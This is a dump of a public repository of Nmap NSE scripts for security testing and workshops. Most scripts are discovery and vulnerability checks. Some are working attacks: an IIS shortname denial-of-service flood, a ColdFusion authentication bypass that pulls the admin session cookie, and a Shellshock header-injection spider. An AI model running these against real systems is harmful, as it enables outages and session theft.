├── UPDATES ├── workshops ├── dc24 │ ├── nmap.jpg │ ├── dotvimrc.txt │ ├── nse-script-template.nse │ ├── sample-scan │ │ ├── scanme.gnmap │ │ ├── scanme.nmap │ │ └── scanme.xml │ ├── fakewebapp │ │ └── login.php │ ├── webapp-brute-skeleton.nse │ └── http-shellshock-spider.nse └── nmap-nse.odp ├── data ├── huawei-udp-info.bin └── http-default-accounts-fingerprints.lua ├── .vimrc ├── nse-script-template.nse ├── README.md ├── count_targets.sh ├── nmap-mon.sh ├── old-scripts ├── http-sitemap.nse ├── http-email-harvest.nse ├── http-trace.nse ├── http-litespeed-sourcecode-download.nse ├── http-phpselfxss-scan.nse ├── http-majordomo2-dir-traversal.nse ├── http-google-malware.nse ├── http-cakephp-version.nse ├── http-tomcat-brute.nse ├── huawei5xx-udp-info.nse ├── http-vuln-cve2012-1823.nse ├── http-brute.nse ├── http-wp-enum.nse ├── http-awstatstotals-exec.nse ├── http-wordpress-brute.nse ├── http-waf-detect.nse ├── http-joomla-brute.nse └── http-phpself-xss.nse └── scripts ├── http-trendnet-tvip110w.nse ├── http-trace.nse ├── http-iis-shortname-dos.nse ├── http-adobe-coldfusion-apsa1301.nse ├── http-shellshock-spider.nse ├── http-email-harvest.nse ├── http-litespeed-sourcecode-download.nse ├── dns-openresolvers-check.nse ├── http-majordomo2-dir-traversal.nse ├── http-google-malware.nse ├── http-vuln-cve2015-1635.nse ├── mikrotik-routeros-brute.nse ├── http-vuln-cve2012-1823.nse ├── hostmap-ip2hosts.nse ├── huawei5xx-udp-info.nse ├── http-cakephp-version.nse ├── http-brute.nse ├── smb-vuln-regsvc-dos.nse ├── http-awstatstotals-exec.nse ├── smtp-dovecot-exim-exec.nse ├── http-wordpress-enum.nse ├── http-wordpress-brute.nse ├── http-vuln-cve2013-0156.nse ├── http-httpoxy.nse ├── http-waf-detect.nse ├── smb-vuln-ms07-029.nse ├── http-joomla-brute.nse ├── smb-vuln-ms08-067.nse ├── http-phpself-xss.nse └── http-coldfusion-subzero.nse /UPDATES: -------------------------------------------------------------------------------- 1 | UPDATES 2 | -------------------------------------------------------------------------------- /workshops/dc24/nmap.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neo23x0/nmap-nse-scripts/master/workshops/dc24/nmap.jpg -------------------------------------------------------------------------------- /workshops/nmap-nse.odp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neo23x0/nmap-nse-scripts/master/workshops/nmap-nse.odp -------------------------------------------------------------------------------- /data/huawei-udp-info.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Neo23x0/nmap-nse-scripts/master/data/huawei-udp-info.bin -------------------------------------------------------------------------------- /.vimrc: -------------------------------------------------------------------------------- 1 | syntax enable 2 | au BufRead,BufNewFile *.nse set filetype=lua 3 | set nocindent 4 | set expandtab 5 | set softtabstop=2 6 | set shiftwidth=2 7 | set copyindent 8 | -------------------------------------------------------------------------------- /workshops/dc24/dotvimrc.txt: -------------------------------------------------------------------------------- 1 | syntax enable 2 | au BufRead,BufNewFile *.nse set filetype=lua 3 | set nocindent 4 | set expandtab 5 | set softtabstop=2 6 | set shiftwidth=2 7 | set copyindent 8 | -------------------------------------------------------------------------------- /nse-script-template.nse: -------------------------------------------------------------------------------- 1 | description = [[ 2 | ]] 3 | 4 | --- 5 | -- @usage 6 | -- 7 | -- @output 8 | -- 9 | -- @args 10 | -- 11 | --- 12 | 13 | author = "" 14 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 15 | categories = {} 16 | 17 | portrule = 18 | 19 | action = function(host, port) 20 | 21 | end 22 | -------------------------------------------------------------------------------- /workshops/dc24/nse-script-template.nse: -------------------------------------------------------------------------------- 1 | description = [[ 2 | ]] 3 | 4 | --- 5 | -- @usage 6 | -- 7 | -- @output 8 | -- 9 | -- @args 10 | -- 11 | --- 12 | 13 | author = "" 14 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 15 | categories = {} 16 | 17 | portrule = 18 | 19 | action = function(host, port) 20 | 21 | end 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Repository for NSE (Nmap Scripting Engine) development. You will find my scripts (including non-official ones), libraries, resources and other related material from my workshops. 2 | 3 | TODO 4 | ================ 5 | -Finishing SMB2 NSE library 6 | -Currently working on password mangling functionality 7 | 8 | Paulino Calderon 9 | calderon()websec.mx 10 | http://calderonpale.com 11 | -------------------------------------------------------------------------------- /count_targets.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | #count_targets.sh 3 | #Simple bash script to count targets from list in CIDR notation. 4 | total=0 5 | while IFS='' read -r line || [[ -n "$line" ]]; do 6 | TARGETS="$(ipcalc $line | awk {'print $2'} | sed '9q;d')" 7 | echo "El rango $line tiene $TARGETS objetivos" 8 | total=`expr $TARGETS + $total` 9 | done < "$1" 10 | echo "\nEl total de objetivos es $total" 11 | -------------------------------------------------------------------------------- /workshops/dc24/sample-scan/scanme.gnmap: -------------------------------------------------------------------------------- 1 | # Nmap 7.12SVN scan initiated Tue Aug 2 00:01:00 2016 as: nmap -sV -oA scanme scanme.nmap.org 2 | Host: 45.33.32.156 (scanme.nmap.org) Status: Up 3 | Host: 45.33.32.156 (scanme.nmap.org) Ports: 22/open/tcp//ssh//OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)/, 25/filtered/tcp//smtp///, 80/open/tcp//http//Apache httpd 2.4.7 ((Ubuntu))/, 9929/open/tcp//nping-echo//Nping echo/, 31337/open/tcp//tcpwrapped/// Ignored State: closed (995) 4 | # Nmap done at Tue Aug 2 00:01:11 2016 -- 1 IP address (1 host up) scanned in 11.00 seconds 5 | -------------------------------------------------------------------------------- /workshops/dc24/fakewebapp/login.php: -------------------------------------------------------------------------------- 1 | 11 | 12 |
13 |

14 |

15 |

16 |
17 | 18 | 19 | -------------------------------------------------------------------------------- /workshops/dc24/sample-scan/scanme.nmap: -------------------------------------------------------------------------------- 1 | # Nmap 7.12SVN scan initiated Tue Aug 2 00:01:00 2016 as: nmap -sV -oA scanme scanme.nmap.org 2 | Nmap scan report for scanme.nmap.org (45.33.32.156) 3 | Host is up (0.12s latency). 4 | Other addresses for scanme.nmap.org (not scanned): 2600:3c01::f03c:91ff:fe18:bb2f 5 | Not shown: 995 closed ports 6 | PORT STATE SERVICE VERSION 7 | 22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0) 8 | 25/tcp filtered smtp 9 | 80/tcp open http Apache httpd 2.4.7 ((Ubuntu)) 10 | 9929/tcp open nping-echo Nping echo 11 | 31337/tcp open tcpwrapped 12 | Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 13 | 14 | Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 15 | # Nmap done at Tue Aug 2 00:01:11 2016 -- 1 IP address (1 host up) scanned in 11.00 seconds 16 | -------------------------------------------------------------------------------- /workshops/dc24/webapp-brute-skeleton.nse: -------------------------------------------------------------------------------- 1 | local brute = require "brute" 2 | local http = require "http" 3 | local creds = require "creds" 4 | local stdnse = require "stdnse" 5 | local shortport = require "shortport" 6 | 7 | description=[[ 8 | 9 | ]] 10 | 11 | author = "" 12 | license = "" 13 | categories = {"brute"} 14 | 15 | Driver = { 16 | new = function(self, host, port) 17 | local o = {} 18 | setmetatable(o, self) 19 | self.__index = self 20 | o.host = host 21 | o.port = port 22 | return o 23 | end, 24 | 25 | connect = function(self) 26 | end, 27 | 28 | disconnect = function(self) 29 | end, 30 | 31 | login = function(self, username, password) 32 | 33 | end, 34 | check = function(self) 35 | 36 | end 37 | } 38 | 39 | action = function(host, port) 40 | local engine = brute.Engine:new(Driver, host, port) 41 | engine:setMaxThreads(3) 42 | engine.options.script_name = SCRIPT_NAME 43 | 44 | local status, result = engine:start() 45 | 46 | return result 47 | end 48 | -------------------------------------------------------------------------------- /nmap-mon.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #nmap-mon.sh 3 | #Bash script to email admin when changes are detected in a network using 4 | Nmap and Ndiff. 5 | #Don't forget to adjust the CONFIGURATION variables. 6 | #Paulino Calderon 7 | 8 | # 9 | #CONFIGURATION 10 | # 11 | NETWORK="YOURDOMAIN.COM" 12 | ADMIN=YOUR@EMAIL.COM 13 | NMAP_FLAGS="-sV -Pn -p- -T4" 14 | BASE_PATH=/usr/local/share/nmap-mon/ 15 | BIN_PATH=/usr/local/bin/ 16 | BASE_FILE=base.xml 17 | NDIFF_FILE=ndiff.log 18 | NEW_RESULTS_FILE=newscanresults.xml 19 | BASE_RESULTS="$BASE_PATH$BASE_FILE" 20 | NEW_RESULTS="$BASE_PATH$NEW_RESULTS_FILE" 21 | NDIFF_RESULTS="$BASE_PATH$NDIFF_FILE" 22 | 23 | if [ -f $BASE_RESULTS ] 24 | then 25 | echo "Checking host $NETWORK" 26 | ${BIN_PATH}nmap -oX $NEW_RESULTS $NMAP_FLAGS $NETWORK 27 | ${BIN_PATH}ndiff $BASE_RESULTS $NEW_RESULTS > $NDIFF_RESULTS 28 | if [ $(cat $NDIFF_RESULTS | wc -l) -gt 0 ] 29 | then 30 | echo "Network changes detected in $NETWORK" 31 | cat $NDIFF_RESULTS 32 | echo "Alerting admin $ADMIN" 33 | mail -s "Network changes detected in $NETWORK" $ADMIN < $NDIFF_RESULTS 34 | fi 35 | fi 36 | -------------------------------------------------------------------------------- /old-scripts/http-sitemap.nse: -------------------------------------------------------------------------------- 1 | description = [[ 2 | Returns a list of all web pages and files found in the web server. 3 | ]] 4 | 5 | --- 6 | -- @usage 7 | -- nmap -p80 --script http-sitemap --script-args http.useragent=Mozilla,httpspider.ignoreParams 8 | -- @output 9 | --PORT STATE SERVICE REASON 10 | --80/tcp open http 11 | --| http-sitemap: URIs found: 12 | --|_http://scanme.nmap.org/ 13 | -- 14 | -- @args http-sitemap.basepath URI base path 15 | -- 16 | -- Other useful args: 17 | -- http.useragent - User Agent for the HTTP requests 18 | --- 19 | 20 | author = "Paulino Calderon" 21 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 22 | categories = {"discovery"} 23 | 24 | require "http" 25 | require "shortport" 26 | require "httpspider" 27 | 28 | portrule = shortport.http 29 | 30 | action = function(host, port) 31 | local results = {"URIs found:"} 32 | local basepath = stdnse.get_script_args(SCRIPT_NAME..".basepath") or "/" 33 | 34 | httpspider.crawl(host, port, basepath) 35 | 36 | local uris = httpspider.get_sitemap() 37 | for _, uri in pairs(uris) do 38 | results[#results+1] = uri 39 | end 40 | 41 | return #results > 1 and stdnse.strjoin("\n", results) or nil 42 | end 43 | -------------------------------------------------------------------------------- /scripts/http-trendnet-tvip110w.nse: -------------------------------------------------------------------------------- 1 | description = [[ 2 | Attempts to find Trendnet TVIP110W webcams vulnerable to unauthenticated access to the video stream by querying the URI "/anony/mjpg.cgi". 3 | 4 | Original advisory: http://console-cowboys.blogspot.com/2012/01/trendnet-cameras-i-always-feel-like.html 5 | ]] 6 | 7 | --- 8 | -- @usage nmap -p80 --script http-trendnet-tvip110w.nse 9 | -- 10 | -- @output 11 | -- PORT STATE SERVICE REASON 12 | -- 80/tcp open http syn-ack 13 | -- |_http-trendnet-webcams: Trendnet TV-IP110W video feed is unprotected:http:///anony/mjpg.cgi 14 | --- 15 | 16 | 17 | categories = {"exploit","vuln"} 18 | 19 | local http = require "http" 20 | local shortport = require "shortport" 21 | local stdnse = require "stdnse" 22 | 23 | portrule = shortport.http 24 | 25 | action = function(host, port) 26 | local uri = "/anony/mjpg.cgi" 27 | 28 | local _, status_404, resp_404 = http.identify_404(host, port) 29 | if status_404 == 200 then 30 | stdnse.print_debug(1, "%s: Web server returns ambigious response. Trendnet webcams return standard 404 status responses. Exiting.", SCRIPT_NAME) 31 | return 32 | end 33 | 34 | stdnse.print_debug(1, "%s: HTTP HEAD %s", SCRIPT_NAME, uri) 35 | local resp = http.head(host, port, uri) 36 | if resp.status and http.page_exists(resp, resp_404, nil, uri) and resp.status == 200 then 37 | return string.format("Trendnet TV-IP110W video feed is unprotected:http://%s/anony/mjpg.cgi", host.ip) 38 | end 39 | end 40 | -------------------------------------------------------------------------------- /old-scripts/http-email-harvest.nse: -------------------------------------------------------------------------------- 1 | description = [[ 2 | http-email-harvest returns a list of email accounts found in the body text of all URIs found in the web server. 3 | ]] 4 | 5 | --- 6 | --@usage 7 | --nmap -sV --script http-email-harvest 8 | --nmap -sV --script http-email-harvest --script-args http.useragent=Mozilla,httpspider.ignoreParams 9 | -- 10 | --@output 11 | --@args http-email-harvest.basepath URI base path. Default: / 12 | --@args http-email-harvest.localOnly Shows only email accounts belonging to the scanned host. Default: false 13 | -- 14 | --Other useful args: 15 | --http.useragent - User Agent used in HTTP requests 16 | --- 17 | 18 | author = "Paulino Calderon" 19 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 20 | categories = {"discovery"} 21 | 22 | require "http" 23 | require "shortport" 24 | require "httpspider" 25 | 26 | portrule = shortport.http 27 | 28 | --Returns table of emails found in the given text 29 | --@param text Haystack 30 | local function find_emails(text) 31 | local emails = {} 32 | for email in string.gfind(text, '[A-Za-z0-9%.%%%+%-]+@[A-Za-z0-9%.%%%+%-]+%.%w%w%w?%w?') do 33 | table.insert(emails, email) 34 | end 35 | return emails 36 | end 37 | 38 | --Main 39 | --Iterates through sitemap to find email accounts 40 | action = function(host, port) 41 | local basepath = stdnse.get_script_args(SCRIPT_NAME..".basepath") or "/" 42 | local emails_found = {} 43 | local valid_emails = {} 44 | httpspider.crawl(host, port, basepath) 45 | local uris = httpspider.get_sitemap() 46 | 47 | for _, uri in pairs(uris) do 48 | local page = http.get(host, port, uri) 49 | local emails = find_emails(page.body) 50 | for _, email in pairs(emails) do 51 | if emails_found[email] == nil then 52 | emails_found[email] = true 53 | valid_emails[#valid_emails+1] = email 54 | end 55 | end 56 | end 57 | 58 | return #valid_emails > 1 and stdnse.strjoin("\n", valid_emails) or nil 59 | end 60 | -------------------------------------------------------------------------------- /old-scripts/http-trace.nse: -------------------------------------------------------------------------------- 1 | description = [[ 2 | Sends an HTTP TRACE request and shows if the method TRACE is enabled. If debug is enabled, it returns the header fields that were modified in the response. 3 | ]] 4 | 5 | --- 6 | -- @usage 7 | -- nmap --script http-trace -d 8 | -- 9 | -- @output 10 | -- 80/tcp open http syn-ack 11 | -- | http-trace: TRACE is enabled 12 | -- | Headers: 13 | -- | Date: Tue, 14 Jun 2011 04:41:28 GMT 14 | -- | Server: Apache 15 | -- | Connection: close 16 | -- | Transfer-Encoding: chunked 17 | -- |_Content-Type: message/http 18 | -- 19 | -- @args http-trace.path Path to URI 20 | 21 | author = "Paulino Calderon" 22 | 23 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 24 | 25 | categories = {"vuln", "discovery", "safe"} 26 | 27 | require "shortport" 28 | require "stdnse" 29 | require "http" 30 | 31 | portrule = shortport.http 32 | 33 | --- Validates the HTTP response and returns header list 34 | --@param response The HTTP response 35 | --@param response_headers The HTTP response headers 36 | local validate = function(response, response_headers) 37 | local output_lines = {} 38 | 39 | if not(response:match("HTTP/1.[01] 200") or response:match("TRACE / HTTP/1.[01]")) then 40 | return 41 | else 42 | output_lines[ #output_lines+1 ] = "TRACE is enabled" 43 | end 44 | if nmap.verbosity() >= 2 then 45 | output_lines[ #output_lines+1 ]= "Headers:" 46 | for _, value in pairs(response_headers) do 47 | output_lines [ #output_lines+1 ] = value 48 | end 49 | end 50 | if #output_lines > 0 then 51 | return stdnse.strjoin("\n", output_lines) 52 | end 53 | end 54 | 55 | --- 56 | --MAIN 57 | --- 58 | action = function(host, port) 59 | local path = stdnse.get_script_args("http-trace.path") or "/" 60 | 61 | local req = http.generic_request(host, port, "TRACE", path) 62 | if (req.status == 301 or req.status == 302) and req.header["location"] then 63 | req = http.generic_request(host, port, "TRACE", req.header["location"]) 64 | end 65 | return validate(req.body, req.rawheader) 66 | end 67 | -------------------------------------------------------------------------------- /scripts/http-trace.nse: -------------------------------------------------------------------------------- 1 | local http = require "http" 2 | local nmap = require "nmap" 3 | local shortport = require "shortport" 4 | local stdnse = require "stdnse" 5 | 6 | description = [[ 7 | Sends an HTTP TRACE request and shows if the method TRACE is enabled. If debug is enabled, it returns the header fields that were modified in the response. 8 | ]] 9 | 10 | --- 11 | -- @usage 12 | -- nmap --script http-trace -d 13 | -- 14 | -- @output 15 | -- 80/tcp open http syn-ack 16 | -- | http-trace: TRACE is enabled 17 | -- | Headers: 18 | -- | Date: Tue, 14 Jun 2011 04:41:28 GMT 19 | -- | Server: Apache 20 | -- | Connection: close 21 | -- | Transfer-Encoding: chunked 22 | -- |_Content-Type: message/http 23 | -- 24 | -- @args http-trace.path Path to URI 25 | 26 | author = "Paulino Calderon" 27 | 28 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 29 | 30 | categories = {"vuln", "discovery", "safe"} 31 | 32 | 33 | portrule = shortport.http 34 | 35 | --- Validates the HTTP response and returns header list 36 | --@param response The HTTP response 37 | --@param response_headers The HTTP response headers 38 | local validate = function(response, response_headers) 39 | local output_lines = {} 40 | 41 | if not(response:match("HTTP/1.[01] 200") or response:match("TRACE / HTTP/1.[01]")) then 42 | return 43 | else 44 | output_lines[ #output_lines+1 ] = "TRACE is enabled" 45 | end 46 | if nmap.verbosity() >= 2 then 47 | output_lines[ #output_lines+1 ]= "Headers:" 48 | for _, value in pairs(response_headers) do 49 | output_lines [ #output_lines+1 ] = value 50 | end 51 | end 52 | if #output_lines > 0 then 53 | return stdnse.strjoin("\n", output_lines) 54 | end 55 | end 56 | 57 | --- 58 | --MAIN 59 | --- 60 | action = function(host, port) 61 | local path = stdnse.get_script_args("http-trace.path") or "/" 62 | 63 | local req = http.generic_request(host, port, "TRACE", path) 64 | if (req.status == 301 or req.status == 302) and req.header["location"] then 65 | req = http.generic_request(host, port, "TRACE", req.header["location"]) 66 | end 67 | return validate(req.body, req.rawheader) 68 | end 69 | -------------------------------------------------------------------------------- /scripts/http-iis-shortname-dos.nse: -------------------------------------------------------------------------------- 1 | description = [[ 2 | http-iis-shortname-dos launches a Denial of Service attack that exploits a vulnerability in IIS/.NET installations with shortname support enabled. 3 | 4 | This script sends specially crafted requests to cause the target to make numerous file system calls and run out of resources. A request looks like this: 5 | 6 | GET /190~0/~8/~8/~8/~8/~8/~8/~8/~8/~8/~8/~8/~8/~8/~8/~8/~8/~8/~8/~8/~8/~8/~8/~8/~8/~8/~8/~8/~8/~8/~8/~8/~8/ 7 | ~8/~8/~8/~8/~8/~8/~8/~8/~8/~8/~8/~8/~8/~8/~8/~8/~8/~8/~8/~8/~8/~8/~8/~8/~8/nMaP~.AsPx?aspxerrorpath=/ HTTP/1.1 8 | 9 | * Tested on .NET 4 with IIS 7 10 | 11 | References: 12 | * http://soroush.secproject.com/downloadable/iis_tilde_dos.txt 13 | * http://support.microsoft.com/kb/142982/en-us 14 | 15 | Todo: 16 | * Add monitoring check to see if target got DoSed and report properly. 17 | ]] 18 | 19 | --- 20 | -- @usage nmap -p80,443 --script http-iis-shortname-dos 21 | -- 22 | -- @output No output 23 | -- 24 | -- @args http-iis-shortname-dos.basepath Base path to use in requests (default: /). 25 | -- @args http-iis-shortname-dos.reqs Number of requests to send (default: 10000). 26 | -- 27 | --- 28 | 29 | author = "Paulino " 30 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 31 | categories = {"dos"} 32 | 33 | local http = require "http" 34 | local shortport = require "shortport" 35 | local stdnse = require "stdnse" 36 | portrule = shortport.http 37 | 38 | local function repeater(str, n) 39 | return n > 0 and str .. repeater(str, n-1) or "" 40 | end 41 | 42 | action = function(host, port) 43 | local basepath = stdnse.get_script_args(SCRIPT_NAME..".basepath") or "/" 44 | local payload = nil 45 | local iterations = stdnse.get_script_args(SCRIPT_NAME..".reqs") or 10000 46 | local orig_payload = payload 47 | for i=0,iterations do 48 | payload = basepath .. tostring(math.random(100,999)) .. "~" .. tostring(math.random(0,9)) .."/".. 49 | repeater("~"..tostring(math.random(1,9)).."/",math.random(50,200)).."nM~.AsPx?aspxerrorpath=/" 50 | local req = http.get(host, port, payload, {no_cache=true}) 51 | stdnse.print_debug(2, "Request #%d returned status code:%d", i, req.status) 52 | end 53 | end 54 | -------------------------------------------------------------------------------- /scripts/http-adobe-coldfusion-apsa1301.nse: -------------------------------------------------------------------------------- 1 | description = [[ 2 | Attempts to exploit an authentication bypass vulnerability (apsa13-01) to retrieve the administrator's session cookie of Adobe Coldfusion servers. 3 | ]] 4 | 5 | --- 6 | -- @usage nmap -sV --script http-adobe-coldfusion-apsa1301 7 | -- @usage nmap -p80 --script http-adobe-coldfusion-apsa1301 --script-args basepath=/cf/adminapi/ 8 | -- 9 | -- @output 10 | -- PORT STATE SERVICE 11 | -- 80/tcp open http 12 | -- | http-adobe-coldfusion-apsa1301: 13 | -- |_ admin_cookie: aW50ZXJhY3RpdmUNQUEyNTFGRDU2NzM1OEYxNkI3REUzRjNCMjJERTgxOTNBNzUxN0NEMA1jZmFkbWlu 14 | -- 15 | -- @args http-adobe-coldfusion-apsa1301.basepath URI path to administrator.cfc. Default: /CFIDE/adminapi/ 16 | -- 17 | --- 18 | 19 | author = "Paulino Calderon " 20 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 21 | categories = {"exploit", "vuln"} 22 | 23 | local http = require "http" 24 | local shortport = require "shortport" 25 | local stdnse = require "stdnse" 26 | local url = require "url" 27 | 28 | portrule = shortport.http 29 | local DEFAULT_PATH = "/CFIDE/adminapi/" 30 | local MAGIC_URI = "administrator.cfc?method=login&adminpassword=&rdsPasswordAllowed=true" 31 | --- 32 | -- Extracts the admin cookie by reading CFAUTHORIZATION_cfadmin from the header 'set-cookie' 33 | -- 34 | local function get_admin_cookie(host, port, basepath) 35 | local req = http.get(host, port, basepath..MAGIC_URI) 36 | if req.header['set-cookie'] then 37 | stdnse.print_debug(1, "%s:Header 'set-cookie' detected in response.", SCRIPT_NAME) 38 | local _, _, admin_cookie = string.find(req.header['set-cookie'], ";path=/, CFAUTHORIZATION_cfadmin=(.*);path=/") 39 | if admin_cookie:len() > 79 then 40 | stdnse.print_debug(1, "%s: Extracted cookie:%s", SCRIPT_NAME, admin_cookie) 41 | return admin_cookie 42 | end 43 | end 44 | return nil 45 | end 46 | 47 | action = function(host, port) 48 | local output_tab = stdnse.output_table() 49 | local basepath = stdnse.get_script_args(SCRIPT_NAME..".basepath") or DEFAULT_PATH 50 | local cookie = get_admin_cookie(host, port, basepath) 51 | if cookie then 52 | output_tab.admin_cookie = cookie 53 | else 54 | return nil 55 | end 56 | 57 | return output_tab 58 | end 59 | -------------------------------------------------------------------------------- /scripts/http-shellshock-spider.nse: -------------------------------------------------------------------------------- 1 | local stdnse = require "stdnse" 2 | local http = require "http" 3 | local shortport = require "shortport" 4 | local httpspider = require "httpspider" 5 | 6 | description=[[ 7 | 8 | ]] 9 | 10 | author = "" 11 | license = "Same as Nmap--See https://nmap.org/book/man-legal.html" 12 | categories = {"discover", "vuln"} 13 | 14 | portrule = shortport.http 15 | 16 | function generate_http_req(host, port, uri, custom_header, cmd) 17 | local rnd = nil 18 | --Set custom or probe with random string as cmd 19 | if cmd ~= nil then 20 | cmd = '() { :;}; '..cmd 21 | else 22 | rnd = stdnse.generate_random_string(15) 23 | cmd = '() { :;}; echo; echo "'..rnd..'"' 24 | end 25 | -- Plant the payload in the HTTP headers 26 | local options = {header={}} 27 | options["bypass_cache"] = true 28 | if custom_header == nil then 29 | stdnse.debug1("Sending '%s' in HTTP headers:User-Agent,Cookie and Referer", cmd) 30 | options["header"]["User-Agent"] = cmd 31 | options["header"]["Referer"] = cmd 32 | options["header"]["Cookie"] = cmd 33 | options["header"][cmd] = cmd 34 | else 35 | stdnse.debug1("Sending '%s' in HTTP header '%s'", cmd, custom_header) 36 | options["header"][custom_header] = cmd 37 | end 38 | local req = http.get(host, port, uri, options) 39 | if not(cmd) then 40 | return req 41 | else 42 | return req, rnd 43 | end 44 | end 45 | 46 | action = function(host, port) 47 | local path = stdnse.get_script_args(SCRIPT_NAME..".path") or "/" 48 | local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME } ) 49 | local out = stdnse.output_table() 50 | out.urls = {} 51 | out.paths = {} 52 | out.vulns = {} 53 | crawler:set_timeout(10000) 54 | 55 | local result 56 | while(true) do 57 | local status, r = crawler:crawl() 58 | if ( not(status) ) then 59 | break 60 | end 61 | table.insert(out.urls, r.url) 62 | table.insert(out.paths, r.url.path) 63 | end 64 | 65 | for _, url in pairs(out.paths) do 66 | stdnse.debug1("Testing URL for shellshock:%s", url) 67 | local req, rnd = generate_http_req(host, port, url, nil, nil) 68 | if req.status == 200 and string.match(req.body, rnd) then 69 | stdnse.debug1("Found vulnerable page:%s", url) 70 | table.insert(out.vulns, url) 71 | end 72 | end 73 | return out 74 | end 75 | -------------------------------------------------------------------------------- /workshops/dc24/http-shellshock-spider.nse: -------------------------------------------------------------------------------- 1 | local stdnse = require "stdnse" 2 | local http = require "http" 3 | local shortport = require "shortport" 4 | local httpspider = require "httpspider" 5 | 6 | description=[[ 7 | 8 | ]] 9 | 10 | author = "" 11 | license = "Same as Nmap--See https://nmap.org/book/man-legal.html" 12 | categories = {"discover", "vuln"} 13 | 14 | portrule = shortport.http 15 | 16 | function generate_http_req(host, port, uri, custom_header, cmd) 17 | local rnd = nil 18 | --Set custom or probe with random string as cmd 19 | if cmd ~= nil then 20 | cmd = '() { :;}; '..cmd 21 | else 22 | rnd = stdnse.generate_random_string(15) 23 | cmd = '() { :;}; echo; echo "'..rnd..'"' 24 | end 25 | -- Plant the payload in the HTTP headers 26 | local options = {header={}} 27 | options["bypass_cache"] = true 28 | if custom_header == nil then 29 | stdnse.debug1("Sending '%s' in HTTP headers:User-Agent,Cookie and Referer", cmd) 30 | options["header"]["User-Agent"] = cmd 31 | options["header"]["Referer"] = cmd 32 | options["header"]["Cookie"] = cmd 33 | options["header"][cmd] = cmd 34 | else 35 | stdnse.debug1("Sending '%s' in HTTP header '%s'", cmd, custom_header) 36 | options["header"][custom_header] = cmd 37 | end 38 | local req = http.get(host, port, uri, options) 39 | if not(cmd) then 40 | return req 41 | else 42 | return req, rnd 43 | end 44 | end 45 | 46 | action = function(host, port) 47 | local path = stdnse.get_script_args(SCRIPT_NAME..".path") or "/" 48 | local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME } ) 49 | local out = stdnse.output_table() 50 | out.urls = {} 51 | out.paths = {} 52 | out.vulns = {} 53 | crawler:set_timeout(10000) 54 | 55 | local result 56 | while(true) do 57 | local status, r = crawler:crawl() 58 | if ( not(status) ) then 59 | break 60 | end 61 | table.insert(out.urls, r.url) 62 | table.insert(out.paths, r.url.path) 63 | end 64 | 65 | for _, url in pairs(out.paths) do 66 | stdnse.debug1("Testing URL for shellshock:%s", url) 67 | local req, rnd = generate_http_req(host, port, url, nil, nil) 68 | if req.status == 200 and string.match(req.body, rnd) then 69 | stdnse.debug1("Found vulnerable page:%s", url) 70 | table.insert(out.vulns, url) 71 | end 72 | end 73 | return out 74 | end 75 | -------------------------------------------------------------------------------- /scripts/http-email-harvest.nse: -------------------------------------------------------------------------------- 1 | local httpspider = require "httpspider" 2 | local shortport = require "shortport" 3 | local stdnse = require "stdnse" 4 | local table = require "table" 5 | 6 | description = [[ 7 | Spiders a web site and collects e-mail addresses. 8 | ]] 9 | 10 | --- 11 | -- @usage 12 | -- nmap --script=http-email-harvest 13 | -- 14 | -- @output 15 | -- PORT STATE SERVICE REASON 16 | -- 80/tcp open http syn-ack 17 | -- | http-email-harvest: 18 | -- | Spidering limited to: maxdepth=3; maxpagecount=20 19 | -- | root@examplec.com 20 | -- |_ postmaster@example.com 21 | -- 22 | -- @args http-email-harvest.maxdepth the maximum amount of directories beneath 23 | -- the initial url to spider. A negative value disables the limit. 24 | -- (default: 3) 25 | -- @args http-email-harvest.maxpagecount the maximum amount of pages to visit. 26 | -- A negative value disables the limit (default: 20) 27 | -- @args http-email-harvest.url the url to start spidering. This is a URL 28 | -- relative to the scanned host eg. /default.html (default: /) 29 | -- @args http-email-harvest.withinhost only spider URLs within the same host. 30 | -- (default: true) 31 | -- @args http-email-harvest.withindomain only spider URLs within the same 32 | -- domain. This widens the scope from withinhost and can 33 | -- not be used in combination. (default: false) 34 | -- 35 | 36 | author = "Patrik Karlsson" 37 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 38 | categories = {"discovery", "safe"} 39 | 40 | 41 | portrule = shortport.http 42 | 43 | function action(host, port) 44 | local EMAIL_PATTERN = "[A-Za-z0-9%.%%%+%-]+@[A-Za-z0-9%.%%%+%-]+%.%w%w%w?%w?" 45 | 46 | local crawler = httpspider.Crawler:new(host, port, nil, { 47 | scriptname = SCRIPT_NAME 48 | } 49 | ) 50 | 51 | if ( not(crawler) ) then 52 | return 53 | end 54 | crawler:set_timeout(10000) 55 | 56 | local emails = {} 57 | while(true) do 58 | local status, r = crawler:crawl() 59 | -- if the crawler fails it can be due to a number of different reasons 60 | -- most of them are "legitimate" and should not be reason to abort 61 | if ( not(status) ) then 62 | if ( r.err ) then 63 | return stdnse.format_output(true, ("ERROR: %s"):format(r.reason)) 64 | else 65 | break 66 | end 67 | end 68 | 69 | -- Collect each e-mail address and build a unique index of them 70 | for email in r.response.body:gmatch(EMAIL_PATTERN) do 71 | emails[email] = true 72 | end 73 | end 74 | 75 | -- if no email addresses were collected abort 76 | if ( not(emails) ) then return end 77 | 78 | local results = {} 79 | for email, _ in pairs(emails) do 80 | table.insert(results, email) 81 | end 82 | 83 | results.name = crawler:getLimitations() 84 | 85 | return 